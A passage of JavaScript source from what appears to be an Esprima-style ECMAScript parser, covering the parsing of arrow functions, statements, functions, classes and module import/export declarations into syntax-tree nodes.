} else if (expr.type === Syntax.ArrayExpression) {
expr.type = Syntax.ArrayPattern;
for (i = 0, len = expr.elements.length; i < len; i += 1) {
element = expr.elements[i];
if (element) {
reinterpretAsDestructuredParameter(options, element);
}
}
} else if (expr.type === Syntax.Identifier) {
validateParam(options, expr, expr.name);
} else {
if (expr.type !== Syntax.MemberExpression) {
throwError({}, Messages.InvalidLHSInFormalsList);
}
}
}
function reinterpretAsCoverFormalsList(expressions) {
var i, len, param, params, defaults, defaultCount, options, rest;
params = [];
defaults = [];
defaultCount = 0;
rest = null;
options = {
paramSet: {}
};
for (i = 0, len = expressions.length; i < len; i += 1) {
param = expressions[i];
if (param.type === Syntax.Identifier) {
params.push(param);
defaults.push(null);
validateParam(options, param, param.name);
} else if (param.type === Syntax.ObjectExpression || param.type === Syntax.ArrayExpression) {
reinterpretAsDestructuredParameter(options, param);
params.push(param);
defaults.push(null);
} else if (param.type === Syntax.SpreadElement) {
assert(i === len - 1, 'It is guaranteed that SpreadElement is last element by parseExpression');
reinterpretAsDestructuredParameter(options, param.argument);
rest = param.argument;
} else if (param.type === Syntax.AssignmentExpression) {
params.push(param.left);
defaults.push(param.right);
++defaultCount;
validateParam(options, param.left, param.left.name);
} else {
return null;
}
}
if (options.message === Messages.StrictParamDupe) {
throwError(
strict ? options.stricted : options.firstRestricted,
options.message
);
}
if (defaultCount === 0) {
defaults = [];
}
return {
params: params,
defaults: defaults,
rest: rest,
stricted: options.stricted,
firstRestricted: options.firstRestricted,
message: options.message
};
}
function parseArrowFunctionExpression(options) {
var previousStrict, previousYieldAllowed, body;
expect('=>');
previousStrict = strict;
previousYieldAllowed = state.yieldAllowed;
state.yieldAllowed = false;
body = parseConciseBody();
if (strict && options.firstRestricted) {
throwError(options.firstRestricted, options.message);
}
if (strict && options.stricted) {
throwErrorTolerant(options.stricted, options.message);
}
strict = previousStrict;
state.yieldAllowed = previousYieldAllowed;
return delegate.createArrowFunctionExpression(options.params, options.defaults, body, options.rest, body.type !== Syntax.BlockStatement);
}
function parseAssignmentExpression() {
var expr, token, params, oldParenthesizedCount;
if (matchKeyword('yield')) {
return parseYieldExpression();
}
oldParenthesizedCount = state.parenthesizedCount;
if (match('(')) {
token = lookahead2();
if ((token.type === Token.Punctuator && token.value === ')') || token.value === '...') {
params = parseParams();
if (!match('=>')) {
throwUnexpected(lex());
}
return parseArrowFunctionExpression(params);
}
}
token = lookahead;
expr = parseConditionalExpression();
if (match('=>') &&
(state.parenthesizedCount === oldParenthesizedCount ||
state.parenthesizedCount === (oldParenthesizedCount + 1))) {
if (expr.type === Syntax.Identifier) {
params = reinterpretAsCoverFormalsList([ expr ]);
} else if (expr.type === Syntax.SequenceExpression) {
params = reinterpretAsCoverFormalsList(expr.expressions);
}
if (params) {
return parseArrowFunctionExpression(params);
}
}
if (matchAssign()) {
// 11.13.1
if (strict && expr.type === Syntax.Identifier && isRestrictedWord(expr.name)) {
throwErrorTolerant(token, Messages.StrictLHSAssignment);
}
// ES.next draf 11.13 Runtime Semantics step 1
if (match('=') && (expr.type === Syntax.ObjectExpression || expr.type === Syntax.ArrayExpression)) {
reinterpretAsAssignmentBindingPattern(expr);
} else if (!isLeftHandSide(expr)) {
throwError({}, Messages.InvalidLHSInAssignment);
}
expr = delegate.createAssignmentExpression(lex().value, expr, parseAssignmentExpression());
}
return expr;
}
// 11.14 Comma Operator
function parseExpression() {
var expr, expressions, sequence, coverFormalsList, spreadFound, oldParenthesizedCount;
oldParenthesizedCount = state.parenthesizedCount;
expr = parseAssignmentExpression();
expressions = [ expr ];
if (match(',')) {
while (index < length) {
if (!match(',')) {
break;
}
lex();
expr = parseSpreadOrAssignmentExpression();
expressions.push(expr);
if (expr.type === Syntax.SpreadElement) {
spreadFound = true;
if (!match(')')) {
throwError({}, Messages.ElementAfterSpreadElement);
}
break;
}
}
sequence = delegate.createSequenceExpression(expressions);
}
if (match('=>')) {
// Do not allow nested parentheses on the LHS of the =>.
if (state.parenthesizedCount === oldParenthesizedCount || state.parenthesizedCount === (oldParenthesizedCount + 1)) {
expr = expr.type === Syntax.SequenceExpression ? expr.expressions : expressions;
coverFormalsList = reinterpretAsCoverFormalsList(expr);
if (coverFormalsList) {
return parseArrowFunctionExpression(coverFormalsList);
}
}
throwUnexpected(lex());
}
if (spreadFound && lookahead2().value !== '=>') {
throwError({}, Messages.IllegalSpread);
}
return sequence || expr;
}
// 12.1 Block
function parseStatementList() {
var list = [],
statement;
while (index < length) {
if (match('}')) {
break;
}
statement = parseSourceElement();
if (typeof statement === 'undefined') {
break;
}
list.push(statement);
}
return list;
}
function parseBlock() {
var block;
expect('{');
block = parseStatementList();
expect('}');
return delegate.createBlockStatement(block);
}
// 12.2 Variable Statement
function parseTypeAnnotation(dontExpectColon) {
var typeIdentifier = null, paramTypes = null, returnType = null,
nullable = false;
if (!dontExpectColon) {
expect(':');
}
if (match('?')) {
lex();
nullable = true;
}
if (lookahead.type === Token.Identifier) {
typeIdentifier = parseVariableIdentifier();
}
if (match('(')) {
lex();
paramTypes = [];
while (lookahead.type === Token.Identifier || match('?')) {
paramTypes.push(parseTypeAnnotation(true));
if (!match(')')) {
expect(',');
}
}
expect(')');
expect('=>');
if (matchKeyword('void')) {
lex();
} else {
returnType = parseTypeAnnotation(true);
}
}
return delegate.createTypeAnnotation(
typeIdentifier,
paramTypes,
returnType,
nullable
);
}
function parseVariableIdentifier() {
var token = lex();
if (token.type !== Token.Identifier) {
throwUnexpected(token);
}
return delegate.createIdentifier(token.value);
}
function parseTypeAnnotatableIdentifier() {
var ident = parseVariableIdentifier();
if (match(':')) {
return delegate.createTypeAnnotatedIdentifier(ident, parseTypeAnnotation());
}
return ident;
}
function parseVariableDeclaration(kind) {
var id,
init = null;
if (match('{')) {
id = parseObjectInitialiser();
reinterpretAsAssignmentBindingPattern(id);
} else if (match('[')) {
id = parseArrayInitialiser();
reinterpretAsAssignmentBindingPattern(id);
} else {
id = state.allowKeyword ? parseNonComputedProperty() : parseTypeAnnotatableIdentifier();
// 12.2.1
if (strict && isRestrictedWord(id.name)) {
throwErrorTolerant({}, Messages.StrictVarName);
}
}
if (kind === 'const') {
if (!match('=')) {
throwError({}, Messages.NoUnintializedConst);
}
expect('=');
init = parseAssignmentExpression();
} else if (match('=')) {
lex();
init = parseAssignmentExpression();
}
return delegate.createVariableDeclarator(id, init);
}
function parseVariableDeclarationList(kind) {
var list = [];
do {
list.push(parseVariableDeclaration(kind));
if (!match(',')) {
break;
}
lex();
} while (index < length);
return list;
}
function parseVariableStatement() {
var declarations;
expectKeyword('var');
declarations = parseVariableDeclarationList();
consumeSemicolon();
return delegate.createVariableDeclaration(declarations, 'var');
}
// kind may be `const` or `let`
// Both are experimental and not in the specification yet.
// see http://wiki.ecmascript.org/doku.php?id=harmony:const
// and http://wiki.ecmascript.org/doku.php?id=harmony:let
function parseConstLetDeclaration(kind) {
var declarations;
expectKeyword(kind);
declarations = parseVariableDeclarationList(kind);
consumeSemicolon();
return delegate.createVariableDeclaration(declarations, kind);
}
// http://wiki.ecmascript.org/doku.php?id=harmony:modules
function parseModuleDeclaration() {
var id, src, body;
lex(); // 'module'
if (peekLineTerminator()) {
throwError({}, Messages.NewlineAfterModule);
}
switch (lookahead.type) {
case Token.StringLiteral:
id = parsePrimaryExpression();
body = parseModuleBlock();
src = null;
break;
case Token.Identifier:
id = parseVariableIdentifier();
body = null;
if (!matchContextualKeyword('from')) {
throwUnexpected(lex());
}
lex();
src = parsePrimaryExpression();
if (src.type !== Syntax.Literal) {
throwError({}, Messages.InvalidModuleSpecifier);
}
break;
}
consumeSemicolon();
return delegate.createModuleDeclaration(id, src, body);
}
function parseExportBatchSpecifier() {
expect('*');
return delegate.createExportBatchSpecifier();
}
function parseExportSpecifier() {
var id, name = null;
id = parseVariableIdentifier();
if (matchContextualKeyword('as')) {
lex();
name = parseNonComputedProperty();
}
return delegate.createExportSpecifier(id, name);
}
function parseExportDeclaration() {
var previousAllowKeyword, decl, def, src, specifiers;
expectKeyword('export');
if (lookahead.type === Token.Keyword) {
switch (lookahead.value) {
case 'let':
case 'const':
case 'var':
case 'class':
case 'function':
return delegate.createExportDeclaration(parseSourceElement(), null, null);
}
}
if (isIdentifierName(lookahead)) {
previousAllowKeyword = state.allowKeyword;
state.allowKeyword = true;
decl = parseVariableDeclarationList('let');
state.allowKeyword = previousAllowKeyword;
return delegate.createExportDeclaration(decl, null, null);
}
specifiers = [];
src = null;
if (match('*')) {
specifiers.push(parseExportBatchSpecifier());
} else {
expect('{');
do {
specifiers.push(parseExportSpecifier());
} while (match(',') && lex());
expect('}');
}
if (matchContextualKeyword('from')) {
lex();
src = parsePrimaryExpression();
if (src.type !== Syntax.Literal) {
throwError({}, Messages.InvalidModuleSpecifier);
}
}
consumeSemicolon();
return delegate.createExportDeclaration(null, specifiers, src);
}
function parseImportDeclaration() {
var specifiers, kind, src;
expectKeyword('import');
specifiers = [];
if (isIdentifierName(lookahead)) {
kind = 'default';
specifiers.push(parseImportSpecifier());
if (!matchContextualKeyword('from')) {
throwError({}, Messages.NoFromAfterImport);
}
lex();
} else if (match('{')) {
kind = 'named';
lex();
do {
specifiers.push(parseImportSpecifier());
} while (match(',') && lex());
expect('}');
if (!matchContextualKeyword('from')) {
throwError({}, Messages.NoFromAfterImport);
}
lex();
}
src = parsePrimaryExpression();
if (src.type !== Syntax.Literal) {
throwError({}, Messages.InvalidModuleSpecifier);
}
consumeSemicolon();
return delegate.createImportDeclaration(specifiers, kind, src);
}
function parseImportSpecifier() {
var id, name = null;
id = parseNonComputedProperty();
if (matchContextualKeyword('as')) {
lex();
name = parseVariableIdentifier();
}
return delegate.createImportSpecifier(id, name);
}
// 12.3 Empty Statement
function parseEmptyStatement() {
expect(';');
return delegate.createEmptyStatement();
}
// 12.4 Expression Statement
function parseExpressionStatement() {
var expr = parseExpression();
consumeSemicolon();
return delegate.createExpressionStatement(expr);
}
// 12.5 If statement
function parseIfStatement() {
var test, consequent, alternate;
expectKeyword('if');
expect('(');
test = parseExpression();
expect(')');
consequent = parseStatement();
if (matchKeyword('else')) {
lex();
alternate = parseStatement();
} else {
alternate = null;
}
return delegate.createIfStatement(test, consequent, alternate);
}
// 12.6 Iteration Statements
function parseDoWhileStatement() {
var body, test, oldInIteration;
expectKeyword('do');
oldInIteration = state.inIteration;
state.inIteration = true;
body = parseStatement();
state.inIteration = oldInIteration;
expectKeyword('while');
expect('(');
test = parseExpression();
expect(')');
if (match(';')) {
lex();
}
return delegate.createDoWhileStatement(body, test);
}
function parseWhileStatement() {
var test, body, oldInIteration;
expectKeyword('while');
expect('(');
test = parseExpression();
expect(')');
oldInIteration = state.inIteration;
state.inIteration = true;
body = parseStatement();
state.inIteration = oldInIteration;
return delegate.createWhileStatement(test, body);
}
function parseForVariableDeclaration() {
var token = lex(),
declarations = parseVariableDeclarationList();
return delegate.createVariableDeclaration(declarations, token.value);
}
function parseForStatement(opts) {
var init, test, update, left, right, body, operator, oldInIteration;
init = test = update = null;
expectKeyword('for');
// http://wiki.ecmascript.org/doku.php?id=proposals:iterators_and_generators&s=each
if (matchContextualKeyword('each')) {
throwError({}, Messages.EachNotAllowed);
}
expect('(');
if (match(';')) {
lex();
} else {
if (matchKeyword('var') || matchKeyword('let') || matchKeyword('const')) {
state.allowIn = false;
init = parseForVariableDeclaration();
state.allowIn = true;
if (init.declarations.length === 1) {
if (matchKeyword('in') || matchContextualKeyword('of')) {
operator = lookahead;
if (!((operator.value === 'in' || init.kind !== 'var') && init.declarations[0].init)) {
lex();
left = init;
right = parseExpression();
init = null;
}
}
}
} else {
state.allowIn = false;
init = parseExpression();
state.allowIn = true;
if (matchContextualKeyword('of')) {
operator = lex();
left = init;
right = parseExpression();
init = null;
} else if (matchKeyword('in')) {
// LeftHandSideExpression
if (!isAssignableLeftHandSide(init)) {
throwError({}, Messages.InvalidLHSInForIn);
}
operator = lex();
left = init;
right = parseExpression();
init = null;
}
}
if (typeof left === 'undefined') {
expect(';');
}
}
if (typeof left === 'undefined') {
if (!match(';')) {
test = parseExpression();
}
expect(';');
if (!match(')')) {
update = parseExpression();
}
}
expect(')');
oldInIteration = state.inIteration;
state.inIteration = true;
if (!(opts !== undefined && opts.ignoreBody)) {
body = parseStatement();
}
state.inIteration = oldInIteration;
if (typeof left === 'undefined') {
return delegate.createForStatement(init, test, update, body);
}
if (operator.value === 'in') {
return delegate.createForInStatement(left, right, body);
}
return delegate.createForOfStatement(left, right, body);
}
// 12.7 The continue statement
function parseContinueStatement() {
var label = null, key;
expectKeyword('continue');
// Optimize the most common form: 'continue;'.
if (source.charCodeAt(index) === 59) {
lex();
if (!state.inIteration) {
throwError({}, Messages.IllegalContinue);
}
return delegate.createContinueStatement(null);
}
if (peekLineTerminator()) {
if (!state.inIteration) {
throwError({}, Messages.IllegalContinue);
}
return delegate.createContinueStatement(null);
}
if (lookahead.type === Token.Identifier) {
label = parseVariableIdentifier();
key = '$' + label.name;
if (!Object.prototype.hasOwnProperty.call(state.labelSet, key)) {
throwError({}, Messages.UnknownLabel, label.name);
}
}
consumeSemicolon();
if (label === null && !state.inIteration) {
throwError({}, Messages.IllegalContinue);
}
return delegate.createContinueStatement(label);
}
// 12.8 The break statement
function parseBreakStatement() {
var label = null, key;
expectKeyword('break');
// Catch the very common case first: immediately a semicolon (char #59).
if (source.charCodeAt(index) === 59) {
lex();
if (!(state.inIteration || state.inSwitch)) {
throwError({}, Messages.IllegalBreak);
}
return delegate.createBreakStatement(null);
}
if (peekLineTerminator()) {
if (!(state.inIteration || state.inSwitch)) {
throwError({}, Messages.IllegalBreak);
}
return delegate.createBreakStatement(null);
}
if (lookahead.type === Token.Identifier) {
label = parseVariableIdentifier();
key = '$' + label.name;
if (!Object.prototype.hasOwnProperty.call(state.labelSet, key)) {
throwError({}, Messages.UnknownLabel, label.name);
}
}
consumeSemicolon();
if (label === null && !(state.inIteration || state.inSwitch)) {
throwError({}, Messages.IllegalBreak);
}
return delegate.createBreakStatement(label);
}
// 12.9 The return statement
function parseReturnStatement() {
var argument = null;
expectKeyword('return');
if (!state.inFunctionBody) {
throwErrorTolerant({}, Messages.IllegalReturn);
}
// 'return' followed by a space and an identifier is very common.
if (source.charCodeAt(index) === 32) {
if (isIdentifierStart(source.charCodeAt(index + 1))) {
argument = parseExpression();
consumeSemicolon();
return delegate.createReturnStatement(argument);
}
}
if (peekLineTerminator()) {
return delegate.createReturnStatement(null);
}
if (!match(';')) {
if (!match('}') && lookahead.type !== Token.EOF) {
argument = parseExpression();
}
}
consumeSemicolon();
return delegate.createReturnStatement(argument);
}
// 12.10 The with statement
function parseWithStatement() {
var object, body;
if (strict) {
throwErrorTolerant({}, Messages.StrictModeWith);
}
expectKeyword('with');
expect('(');
object = parseExpression();
expect(')');
body = parseStatement();
return delegate.createWithStatement(object, body);
}
// 12.10 The swith statement
function parseSwitchCase() {
var test,
consequent = [],
sourceElement;
if (matchKeyword('default')) {
lex();
test = null;
} else {
expectKeyword('case');
test = parseExpression();
}
expect(':');
while (index < length) {
if (match('}') || matchKeyword('default') || matchKeyword('case')) {
break;
}
sourceElement = parseSourceElement();
if (typeof sourceElement === 'undefined') {
break;
}
consequent.push(sourceElement);
}
return delegate.createSwitchCase(test, consequent);
}
function parseSwitchStatement() {
var discriminant, cases, clause, oldInSwitch, defaultFound;
expectKeyword('switch');
expect('(');
discriminant = parseExpression();
expect(')');
expect('{');
cases = [];
if (match('}')) {
lex();
return delegate.createSwitchStatement(discriminant, cases);
}
oldInSwitch = state.inSwitch;
state.inSwitch = true;
defaultFound = false;
while (index < length) {
if (match('}')) {
break;
}
clause = parseSwitchCase();
if (clause.test === null) {
if (defaultFound) {
throwError({}, Messages.MultipleDefaultsInSwitch);
}
defaultFound = true;
}
cases.push(clause);
}
state.inSwitch = oldInSwitch;
expect('}');
return delegate.createSwitchStatement(discriminant, cases);
}
// 12.13 The throw statement
function parseThrowStatement() {
var argument;
expectKeyword('throw');
if (peekLineTerminator()) {
throwError({}, Messages.NewlineAfterThrow);
}
argument = parseExpression();
consumeSemicolon();
return delegate.createThrowStatement(argument);
}
// 12.14 The try statement
function parseCatchClause() {
var param, body;
expectKeyword('catch');
expect('(');
if (match(')')) {
throwUnexpected(lookahead);
}
param = parseExpression();
// 12.14.1
if (strict && param.type === Syntax.Identifier && isRestrictedWord(param.name)) {
throwErrorTolerant({}, Messages.StrictCatchVariable);
}
expect(')');
body = parseBlock();
return delegate.createCatchClause(param, body);
}
function parseTryStatement() {
var block, handlers = [], finalizer = null;
expectKeyword('try');
block = parseBlock();
if (matchKeyword('catch')) {
handlers.push(parseCatchClause());
}
if (matchKeyword('finally')) {
lex();
finalizer = parseBlock();
}
if (handlers.length === 0 && !finalizer) {
throwError({}, Messages.NoCatchOrFinally);
}
return delegate.createTryStatement(block, [], handlers, finalizer);
}
// 12.15 The debugger statement
function parseDebuggerStatement() {
expectKeyword('debugger');
consumeSemicolon();
return delegate.createDebuggerStatement();
}
// 12 Statements
function parseStatement() {
var type = lookahead.type,
expr,
labeledBody,
key;
if (type === Token.EOF) {
throwUnexpected(lookahead);
}
if (type === Token.Punctuator) {
switch (lookahead.value) {
case ';':
return parseEmptyStatement();
case '{':
return parseBlock();
case '(':
return parseExpressionStatement();
default:
break;
}
}
if (type === Token.Keyword) {
switch (lookahead.value) {
case 'break':
return parseBreakStatement();
case 'continue':
return parseContinueStatement();
case 'debugger':
return parseDebuggerStatement();
case 'do':
return parseDoWhileStatement();
case 'for':
return parseForStatement();
case 'function':
return parseFunctionDeclaration();
case 'class':
return parseClassDeclaration();
case 'if':
return parseIfStatement();
case 'return':
return parseReturnStatement();
case 'switch':
return parseSwitchStatement();
case 'throw':
return parseThrowStatement();
case 'try':
return parseTryStatement();
case 'var':
return parseVariableStatement();
case 'while':
return parseWhileStatement();
case 'with':
return parseWithStatement();
default:
break;
}
}
expr = parseExpression();
// 12.12 Labelled Statements
if ((expr.type === Syntax.Identifier) && match(':')) {
lex();
key = '$' + expr.name;
if (Object.prototype.hasOwnProperty.call(state.labelSet, key)) {
throwError({}, Messages.Redeclaration, 'Label', expr.name);
}
state.labelSet[key] = true;
labeledBody = parseStatement();
delete state.labelSet[key];
return delegate.createLabeledStatement(expr, labeledBody);
}
consumeSemicolon();
return delegate.createExpressionStatement(expr);
}
// 13 Function Definition
function parseConciseBody() {
if (match('{')) {
return parseFunctionSourceElements();
}
return parseAssignmentExpression();
}
function parseFunctionSourceElements() {
var sourceElement, sourceElements = [], token, directive, firstRestricted,
oldLabelSet, oldInIteration, oldInSwitch, oldInFunctionBody, oldParenthesizedCount;
expect('{');
while (index < length) {
if (lookahead.type !== Token.StringLiteral) {
break;
}
token = lookahead;
sourceElement = parseSourceElement();
sourceElements.push(sourceElement);
if (sourceElement.expression.type !== Syntax.Literal) {
// this is not directive
break;
}
directive = source.slice(token.range[0] + 1, token.range[1] - 1);
if (directive === 'use strict') {
strict = true;
if (firstRestricted) {
throwErrorTolerant(firstRestricted, Messages.StrictOctalLiteral);
}
} else {
if (!firstRestricted && token.octal) {
firstRestricted = token;
}
}
}
oldLabelSet = state.labelSet;
oldInIteration = state.inIteration;
oldInSwitch = state.inSwitch;
oldInFunctionBody = state.inFunctionBody;
oldParenthesizedCount = state.parenthesizedCount;
state.labelSet = {};
state.inIteration = false;
state.inSwitch = false;
state.inFunctionBody = true;
state.parenthesizedCount = 0;
while (index < length) {
if (match('}')) {
break;
}
sourceElement = parseSourceElement();
if (typeof sourceElement === 'undefined') {
break;
}
sourceElements.push(sourceElement);
}
expect('}');
state.labelSet = oldLabelSet;
state.inIteration = oldInIteration;
state.inSwitch = oldInSwitch;
state.inFunctionBody = oldInFunctionBody;
state.parenthesizedCount = oldParenthesizedCount;
return delegate.createBlockStatement(sourceElements);
}
function validateParam(options, param, name) {
var key = '$' + name;
if (strict) {
if (isRestrictedWord(name)) {
options.stricted = param;
options.message = Messages.StrictParamName;
}
if (Object.prototype.hasOwnProperty.call(options.paramSet, key)) {
options.stricted = param;
options.message = Messages.StrictParamDupe;
}
} else if (!options.firstRestricted) {
if (isRestrictedWord(name)) {
options.firstRestricted = param;
options.message = Messages.StrictParamName;
} else if (isStrictModeReservedWord(name)) {
options.firstRestricted = param;
options.message = Messages.StrictReservedWord;
} else if (Object.prototype.hasOwnProperty.call(options.paramSet, key)) {
options.firstRestricted = param;
options.message = Messages.StrictParamDupe;
}
}
options.paramSet[key] = true;
}
function parseParam(options) {
var token, rest, param, def;
token = lookahead;
if (token.value === '...') {
token = lex();
rest = true;
}
if (match('[')) {
param = parseArrayInitialiser();
reinterpretAsDestructuredParameter(options, param);
} else if (match('{')) {
if (rest) {
throwError({}, Messages.ObjectPatternAsRestParameter);
}
param = parseObjectInitialiser();
reinterpretAsDestructuredParameter(options, param);
} else {
// Typing rest params is awkward, so punting on that for now
param = rest
? parseVariableIdentifier()
: parseTypeAnnotatableIdentifier();
validateParam(options, token, token.value);
if (match('=')) {
if (rest) {
throwErrorTolerant(lookahead, Messages.DefaultRestParameter);
}
lex();
def = parseAssignmentExpression();
++options.defaultCount;
}
}
if (rest) {
if (!match(')')) {
throwError({}, Messages.ParameterAfterRestParameter);
}
options.rest = param;
return false;
}
options.params.push(param);
options.defaults.push(def);
return !match(')');
}
function parseParams(firstRestricted) {
var options;
options = {
params: [],
defaultCount: 0,
defaults: [],
rest: null,
firstRestricted: firstRestricted
};
expect('(');
if (!match(')')) {
options.paramSet = {};
while (index < length) {
if (!parseParam(options)) {
break;
}
expect(',');
}
}
expect(')');
if (options.defaultCount === 0) {
options.defaults = [];
}
if (match(':')) {
options.returnTypeAnnotation = parseTypeAnnotation();
}
return options;
}
function parseFunctionDeclaration() {
var id, body, token, tmp, firstRestricted, message, previousStrict, previousYieldAllowed, generator;
expectKeyword('function');
generator = false;
if (match('*')) {
lex();
generator = true;
}
token = lookahead;
id = parseVariableIdentifier();
if (strict) {
if (isRestrictedWord(token.value)) {
throwErrorTolerant(token, Messages.StrictFunctionName);
}
} else {
if (isRestrictedWord(token.value)) {
firstRestricted = token;
message = Messages.StrictFunctionName;
} else if (isStrictModeReservedWord(token.value)) {
firstRestricted = token;
message = Messages.StrictReservedWord;
}
}
tmp = parseParams(firstRestricted);
firstRestricted = tmp.firstRestricted;
if (tmp.message) {
message = tmp.message;
}
previousStrict = strict;
previousYieldAllowed = state.yieldAllowed;
state.yieldAllowed = generator;
body = parseFunctionSourceElements();
if (strict && firstRestricted) {
throwError(firstRestricted, message);
}
if (strict && tmp.stricted) {
throwErrorTolerant(tmp.stricted, message);
}
if (state.yieldAllowed && !state.yieldFound) {
throwErrorTolerant({}, Messages.NoYieldInGenerator);
}
strict = previousStrict;
state.yieldAllowed = previousYieldAllowed;
return delegate.createFunctionDeclaration(id, tmp.params, tmp.defaults, body, tmp.rest, generator, false,
tmp.returnTypeAnnotation);
}
function parseFunctionExpression() {
var token, id = null, firstRestricted, message, tmp, body, previousStrict, previousYieldAllowed, generator;
expectKeyword('function');
generator = false;
if (match('*')) {
lex();
generator = true;
}
if (!match('(')) {
token = lookahead;
id = parseVariableIdentifier();
if (strict) {
if (isRestrictedWord(token.value)) {
throwErrorTolerant(token, Messages.StrictFunctionName);
}
} else {
if (isRestrictedWord(token.value)) {
firstRestricted = token;
message = Messages.StrictFunctionName;
} else if (isStrictModeReservedWord(token.value)) {
firstRestricted = token;
message = Messages.StrictReservedWord;
}
}
}
tmp = parseParams(firstRestricted);
firstRestricted = tmp.firstRestricted;
if (tmp.message) {
message = tmp.message;
}
previousStrict = strict;
previousYieldAllowed = state.yieldAllowed;
state.yieldAllowed = generator;
body = parseFunctionSourceElements();
if (strict && firstRestricted) {
throwError(firstRestricted, message);
}
if (strict && tmp.stricted) {
throwErrorTolerant(tmp.stricted, message);
}
if (state.yieldAllowed && !state.yieldFound) {
throwErrorTolerant({}, Messages.NoYieldInGenerator);
}
strict = previousStrict;
state.yieldAllowed = previousYieldAllowed;
return delegate.createFunctionExpression(id, tmp.params, tmp.defaults, body, tmp.rest, generator, false,
tmp.returnTypeAnnotation);
}
function parseYieldExpression() {
var delegateFlag, expr;
expectKeyword('yield');
if (!state.yieldAllowed) {
throwErrorTolerant({}, Messages.IllegalYield);
}
delegateFlag = false;
if (match('*')) {
lex();
delegateFlag = true;
}
expr = parseAssignmentExpression();
state.yieldFound = true;
return delegate.createYieldExpression(expr, delegateFlag);
}
// 14 Classes
function parseMethodDefinition(existingPropNames) {
var token, key, param, propType, isValidDuplicateProp = false;
if (lookahead.value === 'static') {
propType = ClassPropertyType["static"];
lex();
} else {
propType = ClassPropertyType.prototype;
}
if (match('*')) {
lex();
return delegate.createMethodDefinition(
propType,
'',
parseObjectPropertyKey(),
parsePropertyMethodFunction({ generator: true })
);
}
token = lookahead;
key = parseObjectPropertyKey();
if (token.value === 'get' && !match('(')) {
key = parseObjectPropertyKey();
// It is a syntax error if any other properties have a name
// duplicating this one unless they are a setter
if (existingPropNames[propType].hasOwnProperty(key.name)) {
isValidDuplicateProp =
// There isn't already a getter for this prop
existingPropNames[propType][key.name].get === undefined
// There isn't already a data prop by this name
&& existingPropNames[propType][key.name].data === undefined
// The only existing prop by this name is a setter
&& existingPropNames[propType][key.name].set !== undefined;
if (!isValidDuplicateProp) {
throwError(key, Messages.IllegalDuplicateClassProperty);
}
} else {
existingPropNames[propType][key.name] = {};
}
existingPropNames[propType][key.name].get = true;
expect('(');
expect(')');
return delegate.createMethodDefinition(
propType,
'get',
key,
parsePropertyFunction({ generator: false })
);
}
if (token.value === 'set' && !match('(')) {
key = parseObjectPropertyKey();
// It is a syntax error if any other properties have a name
// duplicating this one unless they are a getter
if (existingPropNames[propType].hasOwnProperty(key.name)) {
isValidDuplicateProp =
// There isn't already a setter for this prop
existingPropNames[propType][key.name].set === undefined
// There isn't already a data prop by this name
&& existingPropNames[propType][key.name].data === undefined
// The only existing prop by this name is a getter
&& existingPropNames[propType][key.name].get !== undefined;
if (!isValidDuplicateProp) {
throwError(key, Messages.IllegalDuplicateClassProperty);
}
} else {
existingPropNames[propType][key.name] = {};
}
existingPropNames[propType][key.name].set = true;
expect('(');
token = lookahead;
param = [ parseTypeAnnotatableIdentifier() ];
expect(')');
return delegate.createMethodDefinition(
propType,
'set',
key,
parsePropertyFunction({ params: param, generator: false, name: token })
);
}
// It is a syntax error if any other properties have the same name as a
// non-getter, non-setter method
if (existingPropNames[propType].hasOwnProperty(key.name)) {
throwError(key, Messages.IllegalDuplicateClassProperty);
} else {
existingPropNames[propType][key.name] = {};
}
existingPropNames[propType][key.name].data = true;
return delegate.createMethodDefinition(
propType,
'',
key,
parsePropertyMethodFunction({ generator: false })
);
}
function parseClassElement(existingProps) {
if (match(';')) {
lex();
return;
}
return parseMethodDefinition(existingProps);
}
function parseClassBody() {
var classElement, classElements = [], existingProps = {};
existingProps[ClassPropertyType["static"]] = {};
existingProps[ClassPropertyType.prototype] = {};
expect('{');
while (index < length) {
if (match('}')) {
break;
}
classElement = parseClassElement(existingProps);
if (typeof classElement !== 'undefined') {
classElements.push(classElement);
}
}
expect('}');
return delegate.createClassBody(classElements);
}
function parseClassExpression() {
var id, previousYieldAllowed, superClass = null;
expectKeyword('class');
if (!matchKeyword('extends') && !match('{')) {
id = parseVariableIdentifier();
}
if (matchKeyword('extends')) {
expectKeyword('extends');
previousYieldAllowed = state.yieldAllowed;
state.yieldAllowed = false;
superClass = parseAssignmentExpression();
state.yieldAllowed = previousYieldAllowed;
}
return delegate.createClassExpression(id, superClass, parseClassBody());
}
function parseClassDeclaration() {
var id, previousYieldAllowed, superClass = null;
expectKeyword('class');
id = parseVariableIdentifier();
if (matchKeyword('extends')) {
expectKeyword('extends');
previousYieldAllowed = state.yieldAllowed;
state.yieldAllowed = false;
superClass = parseAssignmentExpression();
state.yieldAllowed = previousYieldAllowed;
}
return delegate.createClassDeclaration(id, superClass, parseClassBody());
}
// 15 Program
function matchModuleDeclaration() {
var id;
if (matchContextualKeyword('module')) {
id = lookahead2();
return id.type === Token.StringLiteral || id.type === Token.Identifier;
}
return false;
}
function parseSourceElement() {
if (lookahead.type === Token.Keyword) {
switch (lookahead.value) {
case 'const':
case 'let':
return parseConstLetDeclaration(lookahead.value);
case 'function':
return parseFunctionDeclaration();
case 'export':
return parseExportDeclaration();
case 'import':
return parseImportDeclaration();
default:
return parseStatement();
}
}
if (matchModuleDeclaration()) {
throwError({}, Messages.NestedModule);
}
if (lookahead.type !== Token.EOF) {
return parseStatement();
}
}
function parseProgramElement() {
if (lookahead.type === Token.Keyword) {
switch (lookahead.value) {
case 'export':
return parseExportDeclaration();
case 'import':
return parseImportDeclaration();
}
}
if (matchModuleDeclaration()) {
return parseModuleDeclaration();
}
return parseSourceElement();
}
function parseProgramElements() {
var sourceElement, sourceElements = [], token, directive, firstRestricted;
while (index < length) {
token = lookahead;
if (token.type !== Token.StringLiteral) {
break;
}
sourceElement = parseProgramElement();
sourceElements.push(sourceElement);
if (sourceElement.expression.type !== Syntax.Literal) {
// this is not directive
break;
}
directive = source.slice(token.range[0] + 1, token.range[1] - 1);
if (directive === 'use strict') {
strict = true;
if (firstRestricted) {
throwErrorTolerant(firstRestricted, Messages.StrictOctalLiteral);
}
} else {
if (!firstRestricted && token.octal) {
firstRestricted = token;
}
}
}
while (index < length) {
sourceElement = parseProgramElement();
if (typeof sourceElement === 'undefined') {
break;
}
sourceElements.push(sourceElement);
}
return sourceElements;
}
function parseModuleElement() {
return parseSourceElement();
}
function parseModuleElements() {
var list = [],
statement;
while (index < length) {
if (match('}')) {
break;
}
statement = parseModuleElement();
if (typeof statement === 'undefined') {
break;
}
list.push(statement);
}
return list;
}
